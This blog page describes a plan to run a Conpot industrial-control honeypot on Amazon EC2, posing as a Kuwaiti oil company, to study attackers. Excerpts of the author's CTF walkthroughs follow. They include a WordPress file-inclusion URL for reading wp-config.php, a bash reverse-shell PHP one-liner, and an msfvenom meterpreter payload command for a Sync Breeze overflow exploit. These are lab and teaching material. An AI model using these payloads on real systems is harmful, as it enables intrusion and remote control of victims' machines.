ICS HoneyPot project in Kuwait




I will be presenting in  a cyber-security conference in Kuwait in February 2019. I was asked to give a presentation about ICS "Industrial Control System" security. Local oil companies are attending, so I think I will demonstrate an experiment. I want to show them how an online ICS device such as a PLC or SCADA can be exploited and ultimately gain access to  an ICS network , causing an impact. Many PLC devices are exposed online and can be found by specialized search engines such as Shodan.

I thought of bringing a SCADA simulator such as the Tofino simulator. However, Its expensive and not in sale anymore. So I thought of honeypots such as Conpot. Conpot is an ICS honeypot available as an open source. Until now the honeypot idea is the best choice for my situation. I'm also thinking to link it with a physical sensor or with another page that acts like a sensor. The goal is to make this honeypot up and running soon, so Shodan can archive it right away.

The other challenge that Im facing now, is where do I install or host the honeypot. Typically most honeypots are hosted locally, but I think this is no good for me . I want it to be in the cloud so I and Mr Shodan can access it from anywhere and anytime. I looked at existing cloud providers, Amazon EC2 is my choice now.


The project has 3 components:

  1. ICS Honeypot (Conpot)
  2. Database ( storing data and logs)
  3. Logger (To log network traffic and attacker attempt)

The aim of this project is:
  1. Run an ICS honeypot that emulates a Kuwaiti oil company
  2. Make it available in Shodan
  3. Study the behavior and techniques of attackers


 Thats it for now. I will experiment with it this week and I will write my results as soon as Im done.

Peace !

Comments

Post a Comment

Popular posts from this blog

Hacking walkthrough: Cacti 1.2.8 exploit Ubuntu 18.04.3 LTS [RCE] [PE]

 This is a CTF (hacking lab) I tried . Its interesting and there are many ways to solve it or even to customize this CTF box. I dont know if you have seen it somewhere, I haven't so I had to do some researching. Im sure if there are/will-be similar others,they (will) share something in common which is  Cacti 1.2.8.   Web application:  Cacti 1.2.8 Server: Linux 4.15.0-88-generic Ubuntu 18.04.3 LTS Vulnerability:  CVE-2020-8813 Exploits:   48144 & 48145 . Use the one that fits the box situation which is normally in case of CTFs  48145 (Unauthenticated exploit) Vulnerability and Exploits documentation: https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/     First of all, in this box I had to change the payload, because netcat didn't work, so I had to do some experimenting with other reverse shells with no luck . So i thought to test the connecti...
Read more

Hacking Wakthrough : Linux version 3.10.0-123.el7.x86_64 / Wordpress 4.7.2

Server Operating system : Linux version 3.10.0-123.el7.x86_64 Hosted Web application : Wordpress 4.7.2  Vulnerabilities found:  Linux: https://www.exploit-db.com/exploits/35370 ( Local privilege escalation) Wordpress : https://www.exploit-db.com/exploits/39558 (Site import 1.0.1 plugin - LFI/RFI). There could be other vulnerable plugins   How to root the Linux server ? Type this url:  http://server-address/wp-content/plugins/site-import/admin/page.php?url=../../../../../../../../../../../../../../../../var/www/html/wp-config.php  View source this wp-config.php Find the database password. Use it to login the admin page. You need to figure out to find the name of the admin/user by using the tool wpscan : wpscan http://server-url  -e u Once inside wordpress, go to apperances/editor.  Copy this php reverse shell: inject <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ip-addrr/port 0>&1'"); ?> to one the p...
Read more

Hacking Wakthrough: Sync Breeze Enterprise v8.9.24

Software : Sync Breeze Enterprise v8.9.24 Exploit : https://www.exploit-db.com/exploits/40456 Operating system :  Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) Follow these Steps: Download 40456.py Run the command : m sfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=your-ip LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest A payload will be generated (my payload size is 310) Copy the payload and replace the payload that's in the python script.Payload starts at line 28 with : buf = "" If your payload has buf = b"" buf += b"\xd9\xed\xd9\x74\x24\xf4\xbb\x9c\x69\xcd\x48\x5d\x29" ! remove the letter "b" and make it look just like the exploit Go to this line: "\x41" * 12292 #subtract/add for payload The script payload is 308 ( #payload size 308 ) so mine is 2 bytes more.  If your payload is 2 or more subtract 2 from 12292 ( 12292 - ...
Read more